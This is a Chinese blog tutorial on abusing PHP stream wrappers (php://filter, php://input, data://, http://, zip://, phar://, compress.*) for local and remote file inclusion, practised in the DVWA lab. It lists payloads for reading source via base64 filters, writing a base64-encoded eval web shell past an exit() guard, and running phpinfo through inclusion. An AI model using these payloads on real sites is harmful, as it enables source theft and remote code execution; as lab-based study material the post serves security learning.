伪协议

php伪协议

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

名称

描述

resource=<要过滤的数据流>

这个参数是必须的。它指定了你要筛选过滤的数据流。

read=<读链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

write=<写链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

<;两个链的筛选列表>

任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

php://filter/resource=xxx.php来直接运行这个php文件,不能够读取源码

这里都是以DVWA这个环境为基础

这里去简单编写一个php的输出代码

这里直接运行这个代码

这里再使用php://filter协议来运行

php://filter/resource=flag.php

这里使用这个协议来读取一下这个flag.php的源码

php://filter/read=convert.base64-encode/resource=flag.php

这里取解码看看

就是源码,这里能够使用的编码方式不止一种,有些题目会过滤很多编码,这时候就需要去进行一个爆破来得到可以使用的编码

filter协议绕过死亡exit

这个实际上就是在我们写入文件的时候,它进行了操作

file_put_contents($content, '<?php exit();' . $content);

这个就是在所添加的文件内容开头加一个

这里先来解释一下exit()函数,其实就是die就是退出脚本运行

我们写入的文件比如想写入一句话木马就无法执行

这个时候就可以使用到filter这个协议来进行操作

这里现在重新开个环境里面添加一下测试代码

file=php://filter/write=convert.base64-decode/resource=1.php&content=PD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8%2B

打开目录看看

进去看一眼

乱码,这里也不知道啥情况,问半天AI也是没搞明白,但就是这样做的

php://input

php://input 是 PHP 提供的一个伪协议,允许开发者 访问 POST 请求的原始内容。

这里也是使用DVWA来看看

php://input

<?php phpinfo();?>

我们通过php://input可以运行我们通过post发送的请求

当作php代码运行

data协议

data://数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

这里仍然是使用DVWA来进行操作

data://text/palin,<?php phpinfo();?>

这里解释一下text/plain

这就是一个MIME类型,这里就是一个文本类型,但当它与包含函数比如include等结合在一起的时候它的这个文本可以当作php代码来运行

还可以进行编码

data://text/plain,base,PD9waHAgcGhwaW5mbygpOz8%2B

这里记得把+编码一下

发送一下看看

http协议

这里其实有两种http一种https一种http

就是http://&&https://

有https就一定有http

这里这两种协议其实大多就是用在RFI远程文件包含的情况下

这里就用我自己的网站的文件来包含一下看看

https://love.crook.yn.cn/1.txt

这个1.txt里面就是

<?php
phpinfo();
?>

也可以直接包含百度看一下

这里推荐是直接使用http://这个协议,因为这个比较快,而且不用担心ssl证书的问题

如果ssl证书过期了就无法通过https://来访问

zip伪协议

这个协议个人感觉局限性有点大,要结合文件上传来进行操作,这里就直接在目录里面加了

直接先上操作

编写所需代码的txt

然后把它压缩成zip

然后正常做题思路是把这个文件上传

这里就不上传了,直接拖进去

这里可以输入一个不存在的文件爆一下路劲

这里也是看见路路径了

这里直接使用zip协议

zip://D:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\test.zip%23test.txt

bzip2:// & zlib://

这俩实际上就是和phar一个样子

这俩因为没有这俩对于的压缩软件

就直接丢出payload

bzip2://就是压缩成bz2

file=compress.bzip2://D:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\phpinfo.bz2

zlib://就是压缩成gz

file=compress.zlib://D:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\phpinfo.gz

phar协议

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

和zip差不多直接构造协议

phar://D:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\test.zip\test.txt

posted @ 2025-05-08 21:27  crook666  阅读(166)  评论(0)    收藏  举报